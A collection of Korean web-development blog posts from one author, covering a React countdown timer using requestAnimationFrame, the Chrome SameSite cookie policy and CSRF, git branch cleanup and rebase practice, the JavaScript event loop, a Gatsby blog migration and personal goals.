리액트에서 카운트 다운을 만든다고 가정해보자. 가장 먼저 생각나는대로, 빠르게 구현한다면 아래와 같은 느낌이 될 것이다.

https://codepen.io/yceffort/pen/BayPyNe

하지만 이 코드는 한가지 문제를 가지고 있다.

## setInterval, setTimeout

`setInterval`은 자바스크립트의 메인 스레드에서 실행된다. 그런데, 자바스크립트는 싱글스레드 기반으로, 동시에 할 수 있는 일은 단 한가지로 제한 되어 있다. 따라서 중간에 interruption이 있거나 모종의 이유로 처음에 선언한 시간을 정확히 지켜서 (여기서는 1000ms) 실행을 보장해주지는 않는다.

아래 코드를 사파리에서 실행해보자.

```javascript
const start = Date.now()

setInterval(() => {
  console.log(`${Date.now() - start}ms`)
}, 1000)
```

```text
1001ms
2002ms
3003ms
4003ms
5003ms
6004ms
7004ms
```

자바스크립트 엔진은 오직 싱글 스레드만을 사용하므로, 비동기 이벤드들을 큐에 대기시킨다. 따라서 그 사이에 다른 이벤트 (마우스, 키보드 등) 가 발생하면 이벤트가 지연될 수 있다. 또한 지연없는 `setTimeout` 또는 `setInterval`이 5회 이상 실행될 경우, 4ms 이상의 지연시간이 강제적으로 추가된다. 그리고 이는 HTML5 표준으로 지정되어있다.

- https://developer.mozilla.org/ko/docs/Web/API/WindowTimers/setTimeout
- https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#timers

> Timers can be nested; after five such nested timers, however, the interval is forced to be at least four milliseconds.

> This API does not guarantee that timers will run exactly on schedule. Delays due to CPU load, other tasks, etc, are to be expected.

또한 CPU가 과부하 상태이거나, 브라우저 탭이 백그라운드 모드이거나, 노트북이 배터리에 의존 하는 등의 경우에도 마찬가지로 시간이 지연된다.

## 브라우저가 리페인팅하는 시간

브라우저가 화면에 무언가를 그리는 데에는 여러 단계를 거친다.

![pixel-pipeline](https://developers.google.com/web/fundamentals/performance/rendering/images/intro/frame-full.jpg?hl=ko)

그러나 이 과정에서 만약 setInterval 등이 호출되면 어떻게 될까?

![set-timeout](https://developers.google.com/web/fundamentals/performance/rendering/images/optimize-javascript-execution/settimeout.jpg?hl=ko)

setTimeout은 자바스크립트 엔진 단에서 실행되므로, 브라우저가 이를 페인팅하는 시간 따위를 신경쓰지 않고 일정 간격으로 계속해서 작동하게 된다. 이는 종종 프레임을 누락시켜 버벅거리는 현상을 사용자에게 노출 시킬 수 있다.

실제로 jquery의 기본 animate 들은 setTimeout을 통해서 사용되고 있다.

## 해결책 1) requestAnimationFrame

[참고](https://developer.mozilla.org/ko/docs/Web/API/Window/requestAnimationFrame)

`window.requestAnimationFrame`은, 브라우저에게 수행하기를 원하는 애니메이션을 알리고, 다음 리페인트가 작동하기 전에 해당 애니메이션을 업데이트 하는 함수를 호출하게 된다.

```javascript
window.requestAnimationFrame(callback)
```

화면에 새로운 애니메이션을 업데이트 할 준비가 될 때마다 호출하는 것이 좋다. 일반적으로 대부분의 브라우저에서는 디스플레이 주사율에 맞춰 콜백을 호출한다. 성능을 위해서, 백그라운드 탭, hidden, iframe 등에서는 실행 되지 않는다.

이 함수는 0이 아닌 고유한 요청 id를 리턴하는데, window.cancelAnimationFrame(requestId)로 해당 요청을 취소할 수 있다.

## 해결책 2) EventEmitter 사용

https://github.com/Gozala/events는 Node.js의 [events](https://nodejs.org/api/events.html)를 브라우저와 같은 다양한 환경에서 사용할 수 있도록 만들어주는 패키지다.

Nodejs는 이벤트를 처리하기 위해서 EventEmitter를 사용한다. 일종의 옵저버 패턴으로, 이벤트를 대기하는 이벤트 리스너들이 (옵저버들이) 이벤트를 기다리다가, 해당 이벤트가 실행되면 이를 처리하는 함수가 실행된다.

이것과 `requestAnimationFrame` 을 적절하게 이용한다면, 보다 나은 카운트다운 컴포넌트를 만들 수 있을 것이다.

```typescript
import EventEmitter from 'events'

class Timer extends EventEmitter {
  // 최초 시작시간
  private time: number = -1
  // requestAnimationFrame의 ID
  private timerId: number = -1

  // Timer를 생성할 때 몇초를 셀지 받는다.
  constructor(private duration: number) {
    super()
  }

  // 타이머가 시작하면, requestAnimationFrame와 함께 step함수를 호출한다.
  start() {
    this.timerId = requestAnimationFrame(this.step)
    return this.timerId
  }

  // 타이머가 끝나면, cancelAnimationFrame를 호출하여 repaint를 막고
  // 타이머를 다시 초기화 시킨다.
  stop() {
    cancelAnimationFrame(this.timerId)
    this.timerId = -1
  }

  // 현재 시간을 받는다.
  private step = (timestamp: number) => {
    // time이 -1이라면 === 맨처음 생성되었다면
    // 받은 시간을 timer의 시간으로 갱신하한다.
    if (this.time === -1) {
      this.time = timestamp
    }

    // 현재시간과 타이머 내장시간의 차이
    const progress = timestamp - this.time

    // progress의 차이가 처음에 받는 시간의 차이보다 크다면
    if (progress < this.duration) {
      // progress를 인자로 하는 progress 이벤트를 시작한다.
      this.emit('progress', progress)
      // 그리고 이는 브라우저의 리페인팅 (== 카운트 다운 갱신)이 필요하므로,
      // requestAnimationFrame를 호출한다.
      this.timerId = requestAnimationFrame(this.step)
    } else {
      // 카운트 다운이 종료되었다면 stop을 호출하고 이벤트를 끝낸다.
      this.stop()
      this.emit('finish')
    }
  }
}
```

```typescript
const [countDown, setCountDown] = useState(duration)

useEffect(() => {
  // 타이머 선언
  const timer = new Timer(duration)

  // progress 이벤트를 정의한다. 받은 시간만큼, 현재 카운트 다운 시간에서 제외한다.
  timer.on('progress', (elapsed: number) => {
    setCountDown(duration - elapsed)
  })

  // finish 이벤트를 정의한다.
  timer.on('finish', onFinished)

  timer.start()

  // useEffect가 끝날때마다 timer를 멈춘다.
  return () => {
    timer.stop()
  }
}, [duration]) // 시간이 변경될 때마다 이 함수를 다시 호출한다.
```

## 구현

https://codesandbox.io/s/react-countdown-ghe1j

## 참고자료

https://developer.mozilla.org/ko/docs/Web/API/Window/requestAnimationFrame

https://developers.google.com/web/fundamentals/performance/rendering?hl=ko

https://developers.google.com/web/fundamentals/performance/rendering/optimize-javascript-execution?hl=ko

---

Source: https://yceffort.kr/2020/01/github-daily-contribution.md
Title: 2020년, 매일 github에 contribution 하기
Description: ## 블로그의 성장 2018년 5월 1일에 블로그를 시작한 이례로 헛소리를 지껄이는 블로그에서, 제법 이사람 저사람 찾아오는 블로그로 성장했다.  ![history1](./images/history1.png)  ![history2](./images/history2.png)  꾸준한 블로그 뻘 글과 회사에서 일하는 것 덕분에 github contributi...
Date: 2020-01-11
Tags: github, career

## 블로그의 성장

2018년 5월 1일에 블로그를 시작한 이례로 헛소리를 지껄이는 블로그에서, 제법 이사람 저사람 찾아오는 블로그로 성장했다.

![history1](./images/history1.png)

![history2](./images/history2.png)

꾸준한 블로그 뻘 글과 회사에서 일하는 것 덕분에 github contribution에 초록색 불도 많이 들어오고 있다.

![contribution1](./images/contribution1.png)

[github contribution은 2013년에 생긴 이래로](https://github.blog/2013-01-07-introducing-contributions/) 개발자의 daily 성과 지표를 알려주는데 도움을 주고 있다.

## contribution의 기준

```text
What counts as a contribution
On your profile page, certain actions count as contributions:

Committing to a repository's default branch or gh-pages branch
Opening an issue
Proposing a pull request
Submitting a pull request review
```

- default branch (master)나 gh-pages (github page 브랜치)에 기여하는 것
- 이슈를 만드는 것
- PR을 만드는것
- PR 리뷰를 제출하는 것

![contribution2](./images/contribution2.png)

## 매일매일 Contribution 해보기

학교가 끝나서 심심해졌겠다, 2020년에 daily로 contribution을 해봐야 겠다. 달력에 모두 초록불이 들어오도록

---

Source: https://yceffort.kr/2020/01/chrome-cookie-same-site-secure.md
Title: Chrome Samesite 쿠키 정책
Description: # 문제의 시작 지난 주말, 엄청나게 급하게 빠른 속도로 프로젝트를 heroku에 올릴 일이 있었다. DB도 새로만들어야하고, 로그인도 필요한 사이트라 DB는 Heroku의 Clean DB를, 로그인은 [google sign-in for websites](https://developers.google.com/identity/sign-in/web)을 사용하...
Date: 2020-01-09
Tags: security, browser, backend

# 문제의 시작

지난 주말, 엄청나게 급하게 빠른 속도로 프로젝트를 heroku에 올릴 일이 있었다. DB도 새로만들어야하고, 로그인도 필요한 사이트라 DB는 Heroku의 Clean DB를, 로그인은 [google sign-in for websites](https://developers.google.com/identity/sign-in/web)을 사용하였다. 처음에는 [passport google auth](https://github.com/jaredhanson/passport-google-oauth2)를 사용하려다가, 그냥 하는 김에 직접 api 도큐먼트를 보면서 진행하였다.

진행 하다보니, 로그인이 안되는 문제가 발생하였다. Chrome beta를 기본 브라우저로 사용하고 있었는데, 문제는 다음과 같았다.

https://github.com/anthonyjgrove/react-google-login/issues/261

https://github.com/google/google-api-javascript-client/issues/561

https://bugs.chromium.org/p/chromium/issues/detail?id=1019168#c26

생각해보니 네이버 페이에서도 아래와 같은 메일을 받은 기억이 난다.

```text
안녕하세요. 네이버페이입니다.
구글에서 서비스하고 있는 크롬 브라우저 80버전에서부터 변경될 새로운 쿠키 정책 ( SameSite Cookie ) 에 따라
네이버페이 Javascript SDK PC 결제창 호출 방식 중 레이어 타입 지원을 종료하게 될 예정입니다.

개별 가맹점에서는 크롬 브라우저 정책 내용등을 확인하시어
향후 서비스 제공을 위해 레이어 타입 지원 종료 이전 페이지 이동 또는 팝업 형태의 호출로 변경 진행 부탁 드립니다.

■ 관련 내용 : 구글 크로미엄 블로그 ( https://blog.chromium.org/2019/10/developers-get-ready-for-new.html )

■ 서비스 종료 예정일 :

  - 2020년 2월 4일 Chrome 80 배포 예정 ( https://www.chromestatus.com/features/schedule )
  - 해당 일자 전에 변경 적용 필요

■ 변경 내용 : Chrome 80 SameSite Cookie 정책 변경에 따른 naverpay javascript sdk layer 타입 지원 종료
```

보안을 위한 Cookie 정책 업데이트가 크롬에서 있었는데 (베타), 정작 google signin에서 대응을 못하고 있는 것이었다. 대략 1월 쯤에 조치를 해줄 것으로 보인다. 아직도 스레드에서 이야기 되는 것으로 보아하니, 조만간 업데이트가 될 것 같다.

# SameSite=None, Secure Cookie Settings은 무슨 정책일까?

## Samesite Cookie는 무엇인가?

기본적으로 CSRF(Cross site request forgery)공격을 막기 위해 추가된 정책이다. CSRF란 사이트간 요청 위조라는 뜻의 웹사이트 취약점 공격 방식 중 하나로, 사용자의 의지와는 관련없이 공격자가 의도한 행위를 웹사이트에 요청하는 것을 의미한다. 대표적으로 예전에 옥션이 이 공격을 이용해서 털렸다.

## 쿠키란 무엇인가?

쿠키는 키=값 이라는 쌍으로 이루어져있으며, 쿠키 유효 기간, 도메인 등을 정보로 가지고 있다. 예를 들어, 웹사이트에서 '새로운 상품' 을 알려주는 팝업이 있다고 가정하자. 대게 이런 웹사이트는 X일간 해당 정보를 표시하지 않는다, 라는 옵션을 사용자에게 선택할 수 있게 해준다. 웹사이트에서는 보통 이 정보를 쿠키를 이용해서 저장하며, HTTPS를 통해 전달할 것이다. 그리고 아마도 헤더는 아래와 같이 생겼을 것이다.

```text
Set-Cookie: visited=true; Max-Age=2600000; Secure
```

만약 사용자가 이전에 보지 않음 체크를 한 유저라면, 그리고 보안연결 상태이고 n일가나 미만이라면, 브라우저가 페이지 요청시 다음 헤더를 전송한다.

```text
Cookie: visited=true
```

이러한 쿠키는 사이트내 javascript 에서도 `document.cookie`를 통해 관리할 수 있다.

```javascript
document.cookie = 'visited=true; Max-Age=2600000; Secure'
document.cookie
```

당장 네이버만 가보더라도, 온갖 쿠키들이 주렁주렁 달려 있는 것을 알 수 있다.

## 쿠키 생성 주체에 따른 차이점

SameSite 정책으로 돌아와서, 사이트 방문시 현재 방문한 사이트의 쿠키 뿐만 아니라, 다양한 도메인의 쿠키가 존재한다. 현재 사이트의 도메인과 일치하는 쿠키, 즉 브라우저 주소 표시줄에 표시되는 쿠키를 First party Cookie라 한다. 그리고 현재 사이트 이외의 도메인 쿠키를 Third Party Cookie라 한다. 즉, 동일한 쿠키라 하더라도 내가 방문하고 있는 사이트에 따라 쿠키의 속성이 달라진다.

예를 들어, 내 사이트에 쩌는 힙합곡이 있어서, 다른 사이트에서도 내 음원을 다이렉트로 사용하고 있다고 가정해보자. `/blog/fucking-awesome-music.mp3`. 만약 사용자가 내 사이트에 방문한 적이있고, 또 내 사이트에서 쿠키를 받아간 적이 있다면, 다른 사이트에서 내 쩌는 힙합곡을 요청할 때, 해당 쿠키도 같이 딸려 들어갈 것이다. 다른 사이트에서는 내 쿠키를 쓰는 곳이 아무곳도 없지만, 아무튼 내사이트에서 쿠키를 받아간적이 있고, 내사이트로 다이렉트로 요청을 하고 있으므로 해당 쿠키가 다른 사이트에서 사용되는 것이다.

## Third party 쿠키의 유용성과 위험성

이런 기능은 언제 유용할까? 이러한 메카니즘은 제3자 컨텍스트에서도 상태를 유지할 수 있도록 해준다. 예를 들어, 내 사이트에서 embedded 된 A라는 유튜브 비디오를 보고 있는 사용자가 있다고 가정하자. 이 사용자가 이미 유튜브에 로그인 되어 있다면, 해당 세션은 제3자 쿠키로 만들어질 수 있다. 즉, 로그인된 사용자가 현재 보는 비디오에 '나중에보기' 버튼을 누른다면, 현재 비디오의 시청상태를 쿠키에 저장할 수 있는 것이다.

웹의 특성상 많은 부분이 개방적이지만, 반대로 이로인해 보안과 사생활 침해 우려가 있는 것도 사실이다. 앞서 말한 CSRF공격은, 쿠키 요청을 날린 사람이 누구든, 쿠키가 주어진 origin으로 요청이 간다는 것이다. 예를 들어 누군가 `evil.com` 을 로그인한다면, 내 웹사이트에 요청을 보낼 수 있고, 브라우저는 자동으로 이와 관련된 쿠키를 첨부해서 보낸다는 것이다. 그 요청은 악의적인 데이터 수집, 수정, 삭제등이 될 수 있다.

## SameSite 속성을 이용한 쿠키 사용 현황을 명시

여기에서, 앞서말한 `SameSite` 속성이 빛을 발한다. 즉, 쿠키를 first party 또는 same-site context 내에서만 사용되도록 제한 하는 것이다. 즉 완전히 동일한 사이트에서 생성된 쿠키만 사용할 수 있는 것이다. 예를 들어 `www.yceffort.kr` 도메인은 `yceffort.kr`의 일부이므로, SameSite다. 마찬가지로 `static.yceffort.kr`도 SameSite 다.

이 `SameSite` 에는 행동을 제어할 수 있는 두가지 속성도 존재한다. `strict`와 `Lax` 가 그것이다.

### Strict

`SameSite=Strict`는 쿠키 전송을 first-party cookie로만 제한한다. 이 경우, 쿠키의 사이트가 브라우저 URL 표시줄에 일치하는 경우에만 전송한다.

```text
Set-Cookie: visited=true; SameSite=Strict
```

즉, 다른사이트에서 또는 이메일을 통해 사이트 링크를 따라 갈 때, 초기 요청에 쿠키가 전송되지 않는다.

### Lax

아까 힙합곡 예시로 돌아가보자.

```text
Set-Cookie: visited=true; SameSite=Lax
```

```html
<audio controls>
  <source src="http://yceffort.kr/static/fucking-awesome-music.mp3" />
</audio>
<p>
  Listen the
  <a href="https://yceffort.kr/fucking-awesome-music.html">article</a>.
</p>
```

Lax 설정시 embedded된 음성 파일 요청시에는 쿠키가 들어가지 않는다. 하지만, .html로 페이지를 방문시에는, 해당 요청을 쿠키와 함께 보내게 된다.

### None

마지막으로, 값을 지정하지 않는 방식이 있다. 이는 Third party context에서도 쿠키를 사용해도 된다는 것을 의미한다.

### 정리

![설명](https://web-dev.imgix.net/image/tcFciHGuF3MxnTr1y5ue01OGLBn2/1MhNdg9exp0rKnHpwCWT.png?auto=format&w=1600)

## 그래서, 크롬은?

- [Chrome80부터 기본값을 `SameSite=Lax` 로 바꿨다.](https://blog.chromium.org/2019/10/developers-get-ready-for-new.html)

- [이는 2020년 2월 4일에 배포될 예정이다.](https://www.chromestatus.com/features/schedule)

- `SameSite=None`을 쓰고 싶다면 Secure 플래그를 활성화 해야 한다.

```text
   > Rejected | Set-Cookie: widget_session=abc123; SameSite=None
   > Accepted | Set-Cookie: widget_session=abc123; SameSite=None; Secure
```

- 설정을 끄고 싶다면 chrome://flags/#same-site-by-default-cookies 로' 가면 된다.

![](./images/samesite.png)

---

Source: https://yceffort.kr/2020/01/delete-merged-branch.md
Title: 머지된 브랜치를 삭제하는 스크립트
Description: 이미 머지된 브랜치를 로컬에서 삭제하기
Date: 2020-01-02
Tags: git, devops

remote에서 이미 master로 머지된 local/remote 브랜치를 삭제하는 스크립트

```shell
git fetch --all -p
git branch --merged | grep -E -v "master|\*" | xargs -n 1 git branch -d
git branch -vv | grep gone | sed | awk '{print $1}' | xargs -n 1 git branch -D
```

우교수님께 감사의 말씀을 🙇‍♂️

---

Source: https://yceffort.kr/2019/12/30/blog-renewal.md
Title: 블로그 개편했습니다. 😎
Description: 주말에 집구석에 혼자 오래있을 일이 있어서, 생각난 김에 블로그를 개편했습니다. 이 전에는 hexo 기반으로 만들어진 블로그를 작업했는데, hexo 생태계가 관리가 잘 안되고 있는 건지 플러그인이나 기능들이 제대로 동작을 안하더군요. wordpress -> ??? -> github pages -> hexo -> gatsby 까지 벌써 개편만 한 다섯번 쯤...
Date: 2019-12-30
Tags: gatsby, frontend

주말에 집구석에 혼자 오래있을 일이 있어서, 생각난 김에 블로그를 개편했습니다. 이 전에는 hexo 기반으로 만들어진 블로그를 작업했는데, hexo 생태계가 관리가 잘 안되고 있는 건지 플러그인이나 기능들이 제대로 동작을 안하더군요.

wordpress -> ??? -> github pages -> hexo -> gatsby 까지 벌써 개편만 한 다섯번 쯤 한거 같네요. 이제 그만 하겠습니다.

정적 사이트 생성기로 괜찮은게 뭐가 있나 알아보던 차에, 회사에서도 Gatsby를 쓰고 있길래 gatsby로 변경해보았습니다.

## 변경과정의 난관

- front-matter를 관리하는게 묘하게 달라서 파이썬 스크립트로 통일 작업을 좀 해야 했다.
- 태그들에 svg 아이콘이 달려 있는게 이뻐서 테마를 선택했는데, 몇몇 아이콘들은 직접 svg를 편집해서 작업해야 했는데 이게 정말 귀찮았다. 그리고 이번 기회에 svg에 대해서 공부하게 되었는데, 몇몇 아이콘들은 간지 때문에 그 크기가 너무 크다. 향후에 최적화가 필요한 부분
- 기존 md 파일 몇개가 렌더링이 안되었는데, 이것도 따로 확인을 해봐야 했다. 그러나 리액트 기반이라 수정하는데 어렵지는 않았다.

## 장점

- 여러가지 다양한 플러그인들이 많고 관리도 잘되고 있다.
- 리액트로 쓰여져 있어서 스스로 관리가 용이하고, 확장성도 더 늘어났다.
- 이전 보다 블로그 디자인이 마음에 든다.

## 단점

- dev에서 파일하나만 수정하는데, 그 파일만 수정하는게 아니라 query 전체가 돌고 있는 느낌이다. 이건 내가 발적화를 때문일까

```shell
info changed file at /Users/jayg/work/private/yceffort-blog/content/blog/2019/12/30/renewal-blog.md
success createPages - 0.204s
success createPages - 0.159s
success write out requires - 0.008s
success run queries - 5.169s - 125/125 24.18/s
success run queries - 0.058s - 3/3 51.45/s
success run queries - 0.023s - 1/1 44.27/s
[==                          ]   0.724 s 9/88 10% run queries
```

- 빌드 타임이 늘어났고, 빌드 후 결과 물도 사이즈가 커졌다. (90mb -> 352mb) 이것도 내 발적화 때문인 것으로 추정해본다
- hot reloading 이 되었다 안되었다 한다. 이건 내가 뭘 설정을 잘못 건든걸까?

이제 왠만한 기능은 다 구현했고, 몇가지만 더 작업하면 된다.

## 앞으로 남은 과제

- about 페이지 작성
- 구 blog github archive 처리 및 README.md 작성
- aloglia 기반 검색 component 개발
- code highlighter prismjs 의 media query 처리 (현재 pc화면에서 코드가 길어지면 사이드바가 찌그러진다.)
- 폰트 수정
- gitment 기반 댓글 component 개발
- github action으로 배포 연동

---

Source: https://yceffort.kr/2019/09/06/javascript-event-loop.md
Title: 자바스크립트의 이벤트루프, 태스크, 그리고 마이크로 태스크
Description: ## 자바스크립트는 단일 스레드 기반의 언어 자바스크립트는 '단일 스레드' 기반의 언어다. 즉, 스레드가 하나이기 때문에 동시에 하나의 작업만 처리할 수 있다. 그러나 자바스크립트가 사용되는 웹을 곰곰히 생각해보면 동시에 여러개의 작업을 처리하는 모습을 볼 수 있다. 스레드가 하나인 자바스크립트는 동시성을 어떻게 처리할까? 먼저 브라우저 구동환경을 살펴보...
Date: 2019-12-27
Tags: javascript, browser

## 자바스크립트는 단일 스레드 기반의 언어

자바스크립트는 '단일 스레드' 기반의 언어다. 즉, 스레드가 하나이기 때문에 동시에 하나의 작업만 처리할 수 있다. 그러나 자바스크립트가 사용되는 웹을 곰곰히 생각해보면 동시에 여러개의 작업을 처리하는 모습을 볼 수 있다. 스레드가 하나인 자바스크립트는 동시성을 어떻게 처리할까? 먼저 브라우저 구동환경을 살펴보자.

![browser](https://miro.medium.com/max/1600/1*iHhUyO4DliDwa6x_cO5E3A.gif)

![nodejs](https://image.toast.com/aaaadh/real/2018/techblog/Bt5ywJrIEAAKJQt.jpg)

위 이미지에서, 자바스크립트 엔진은 메모리 할당을 관리하는 heap과 call stack만 존재하는 것을 알 수 있다. 즉, 동시성에 대한 처리는 자바스크립트 외부에서 처리하고 있음을 알 수 있다. 즉, 정리해서 말하면 자바스크립트는 단일 스레드기반의 언어라서, 단일 호출 스택을 사용하지만, 실제로 자바스크립트를 이용하는 환경 (브라우저, Nodejs)에서는 여러개의 스레드를 활용하며, 이러한 환경을 자바스크립트 엔진과 상호 연동하기 위해서 사용하는 것이 바로 **이벤트 루프**다.

## 단일 호출 스택, Run-to-Completion

자바스크립트의 함수가 실행되는 방식을 `Run-to-Completion`, 하나의 함수가 실행되면 이게 끝날 때까지는 다른 어떤 작업도 끼어들지 못함을 의미한다. 자바스크립트는 하나의 호출 스택을 사용하며, 현재 스택에 쌓여있는 함수들이 모두 실행되기 전까지는 다른 어떠한 함수도 실행될 수 없다.

```javascript
function delay() {
  for (var i = 0; i < 10000; i++);
}
function hi3() {
  delay()
  hi2()
  console.log('hi3!') // (3)
}
function hi2() {
  delay()
  console.log('hi2!') // (2)
}
function hi1() {
  console.log('hi1!') // (4)
}

setTimeout(hi1, 10) // (1)
hi3()
```

이 함수들이 실행되는 순서를 살펴보자.

[여기](http://latentflip.com/loupe/?code=ZnVuY3Rpb24gZGVsYXkoKSB7CiAgZm9yICh2YXIgaSA9IDA7IGkgPCAxMDAwMDsgaSsrKTsKfQpmdW5jdGlvbiBoaTMoKSB7CiAgZGVsYXkoKTsKICBoaTIoKTsKICBjb25zb2xlLmxvZygiaGkzISIpOyAvLyAoMykKfQpmdW5jdGlvbiBoaTIoKSB7CiAgZGVsYXkoKTsKICBjb25zb2xlLmxvZygiaGkyISIpOyAvLyAoMikKfQpmdW5jdGlvbiBoaTEoKSB7CiAgY29uc29sZS5sb2coImhpMSEiKTsgLy8gKDQpCn0KCnNldFRpbWVvdXQoaGkxLCAxMCk7IC8vICgxKQpoaTMoKTs%3D!!!PGJ1dHRvbj5DbGljayBtZSE8L2J1dHRvbj4%3D)를 살펴보세용 .

setTimeout이 얼마나 일찍 끝났건 간에, 다른 작업들이 먼저 콜 스택에 들어갔으므로, `hi1`은 절대 먼저 실행되지 않는다. 근데 어디서 이 setTimout에 있는 `hi1()`를 잡아다가 다시 실행해줬을까? 이를 도와주는 것이 태스크 큐와 이벤트 루프다. 태스크 큐는 콜백 함수들이 대기하는 큐(FIFO) 형태의 배열이고, 이벤트 루프는 콜 스택이 비워질 때 마다 콜백함수에서 꺼내와서 실행하는 역할을 한다.

10ms가 지난 후에, `hi1()`은 바로 실행되지 안혹, 태스크 큐에 추가한다. 이벤트루프는 현재 실행중인 모든 태스크가 끝나자마자 큐에서 대기중인 첫번째 태스크인 `hi1()`을 실행해서, 콜스택에 추가한다.

- 비동기 api들은 작업이 완료되면 콜백함수를 태스크 큐에 추가한다
- 이벤트 루프는 현재 실행중인 태스크가 없을때 태스크 큐에서 FIFO형식으로 큐를 꺼내와서 실행한다.

렌더링 엔진의 경우에도 마찬가지로, 자바스크립트 엔진과 동일한 태스크 큐를 사용한다.

## 마이크로 태스크

```javascript
console.log('script start')

setTimeout(function () {
  console.log('setTimeout')
}, 0)

Promise.resolve()
  .then(function () {
    console.log('promise1')
  })
  .then(function () {
    console.log('promise2')
  })

console.log('script end')
```

여기서 `Promise`가 setTimeout보다 먼저 실행되는데, 그 이유는 `Promise`가 마이크로 태스크에 등록되기 때문이다. 마이크로 태스크는 일반 태스크 보다 더 높은 우선순위를 갖으며, 태스크 큐에 대기중인 것이 있다고 하더라도 마이크로태스크에 있는 것이 우선해서 실행된다. 마이크로 태스크의 잡은 태스크 큐보다 우선하기 때문에, 시간이 오래 걸릴 경우 렌더링 엔진이 작동하지 못하고(일반 태스크에 있으므로) 렌더링이 느려지는 현상이 발생할 수도 있다.

---

Source: https://yceffort.kr/2019/12/18/goal-2020.md
Title: 2020년 목표
Description: Don't do anything boring ## Tensorflow JS  중요도: ★★★★★ 난이도: ★★★★★  AI가 하고 싶어요 선생님... tensorflowjs 를 튜토리얼부터 따라하면서 배워보자.  ## 알고리즘 강의  [백준강의](https://code.plus/bundle/8)  이제 알고리즘 정복할 때가 되었다. 자바스크립트와 파이썬으...
Date: 2019-12-19
Tags: ai, javascript, algorithm

Don't do anything boring

## Tensorflow JS

중요도: ★★★★★
난이도: ★★★★★

AI가 하고 싶어요 선생님... tensorflowjs 를 튜토리얼부터 따라하면서 배워보자.

## 알고리즘 강의

[백준강의](https://code.plus/bundle/8)

이제 알고리즘 정복할 때가 되었다. 자바스크립트와 파이썬으로 진행해볼 예정.

중요도: ★★★★
난이도: ★★

## Preference 패키지

terminal과 친숙해지기 위해 alias설정, git 설정 등을 모아 놓은 private repository를 만들어보고자 한다.

https://blog.appkr.dev/work-n-play/dotfiles/
https://github.com/inbeom/dotfiles
https://github.com/boxersb/dotfiles

요런 거를 참고해보자. `dotfiles` 보다는 광범위한 영역을 커버해보고 싶다.

중요도: ★
난이도: ★★

## Resume 작성

마크다운 문서로 Resume를 준비해두자. 그리고 꼭 이직은 아니더라도 한 두군데 이따금씩 넣어보면서 업계에서의 내 위치(?) 를 고민해보자.

중요도: ★★★★
난이도: ★

## Kindle

이제 이 좁은 집에 더 이상 책 둘 곳도 없다. 이제 그냥 킨들로 읽자. 작년까지는 무식하게 많이 읽자 주의 였다면, 이제는 좀 한권씩 정독할 생각이다.

중요도: ★★★
난이도: ★★★★★

## 영어 Speaking

영어 면접 대비인데... 당장 일하러갈일이 없어서 이건 안 할 수도 있겠다.

중요도: ★★★
난이도: ★

## 앱 런칭

`flutter` 나 `react-native-app`으로 새롭게 앱 하나 만들어 보고 싶다. 근데 마땅히 뭘 만들어야 할지 아무생각이 없다.

중요도: ★
난이도: ★★★★

---

Source: https://yceffort.kr/2019/12/18/lets-beautify-git.md
Title: Github을 아름답게 관리하기
Description: ## Commit Message [좋은 git commit 메시지를 위한 영어사전](https://blog.ull.im/engineering/2019/03/10/logs-on-git.html)  [좋은 git 커밋 메시지를 작성하기 위한 7가지 약속](https://meetup.toast.com/posts/106)  ### 요약  Single Line  ...
Date: 2019-12-18
Tags: git, devops

## Commit Message

[좋은 git commit 메시지를 위한 영어사전](https://blog.ull.im/engineering/2019/03/10/logs-on-git.html)

[좋은 git 커밋 메시지를 작성하기 위한 7가지 약속](https://meetup.toast.com/posts/106)

### 요약

Single Line

```text
[#issue number] :emoji: Commit Message
```

Multi Line

```text
[#issue number] :emoji: Commit Message
- change detail1
- change detail2
```

- Single Line 과 동일하지만, Multi Line 으로 가면 두 번째 라인은 반드시 비워둘 것
- 세 번째 라인부터 Change 상세를 리스트 형식으로 기술

## Linear History in git

### 장점

1. **git bisect**
2. **possibility of submitting with history to another version control system like SVN**
3. **Documentation for the posterity**. A linear history is typically easier to follow. This is similar to how you want your code to be well structured and documented: whenever someone needs to deal with it later (code or history) it is very valuable to be able to quickly understand what is going on.
4. **Improving code review efficiency and effectiveness**. If a topic branch is divided into linear, logical steps, it is much easier to review it compared to reviewing a convoluted history or a squashed change-monolith (which can be overwhelming).
5. **When you need to modify the history at a later time**. For instance when reverting or cherry-picking a feature in whole or in part.
6. **Scalability.** Unless you strive to keep your history linear when your team grows larger (e.g. hundreds of contributors), your history can become very bloated with cross branch merges, and it can be hard for all the contributors to keep track of what is going on.

[출처](https://stackoverflow.com/questions/20348629/what-are-advantages-of-keeping-linear-history-in-git)

### Rebase

리베이스가 최고다

[출처](https://dev.to/maxwell_dev/the-git-rebase-introduction-i-wish-id-had)

간단히 요약하면, 내가 작업한 내용을 master의 최신 커밋 뒤에 이어서 붙이는 것이다.

우리의 목표

![git-rebase](https://git-scm.com/book/en/v2../../../images/perils-of-rebasing-5.png)

1. rebase 대상 브랜치 (보통은 master)를 checkout해서 pull
2. rebase 하려는 브랜치 (내가 작업한 브랜치)를 checkout해서 pull

![git-rebase](https://git-scm.com/book/en/v2../../../images/basic-rebase-1.png)
현재까지의 상태는 이럴 것이다.

3. `git rebase master` 를 때린다

![git-rebase](https://git-scm.com/book/en/v2../../../images/basic-rebase-3.png)

4. 컨플릭이 없다면 6번으로

5. 컨플릭이 있다면 컨플릭을 해결한 후에 `git rebase --continue`를 한다.

6. `git push origin <branch> --force`로 force push를 한다.

리베이스는 과거 커밋을 지우고 뒤에 이어 붙인 새로운 커밋을 만들기 때문에, 저장소의 커밋 히스토리를 다시 쓰게 된다.

---

Source: https://yceffort.kr/2019/10/15/react-text-highlight.md
Title: 리액트 텍스트 하이라이트 만들기
Description: 리액트에서 텍스트 강조하는 방법
Date: 2019-10-15
Tags: react

## 요구사항

한 엘리먼트안에서 특정한 키워드를 다른 색싱으로 바꿔서 출력하는 것이다.

아래 예시를 살펴보자

### before

```jsx
<Text>카카오 페이지 카카오 스토리 카카오톡</Text>
```

### after

```jsx
<Text>
  <Text color="blue">카카오 </Text>페이지
  <Text color="blue">카카오 </Text>스토리
  <Text color="blue">카카오</Text>톡
</Text>
```

## 의식의 흐름

특정 키워드가 포함되어 있는지, 그리고 그것을 따로 뽑아 낼 수 있는 가장 간단한 방법은 무엇일까? 바로 [split](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String/split) 일 것이다.

```javascript
const splitResult = '카카오 페이지, 카카오 스토리, 카카오톡'
splitResult.split('카카오') // ["", " 페이지, ", " 스토리, ", "톡"]
```

